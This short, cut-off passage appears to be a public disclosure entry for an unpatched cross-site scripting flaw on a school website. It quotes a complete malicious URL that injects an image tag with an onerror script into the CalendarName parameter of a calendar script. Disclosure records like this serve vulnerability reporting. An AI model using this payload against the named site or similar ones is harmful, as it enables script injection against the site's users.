web.keystoneschool.org XSS vulnerability

Vulnerable URL: http://web.keystoneschool.org/calciumcalendar/calcium40.pl?CalendarName=%22%3E%3Cimg/src=%22%3E%22onerror=confirm%27XSSPOSED%27%3E=ShowIt=2016/9/1=Month=Absolute=Block Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS...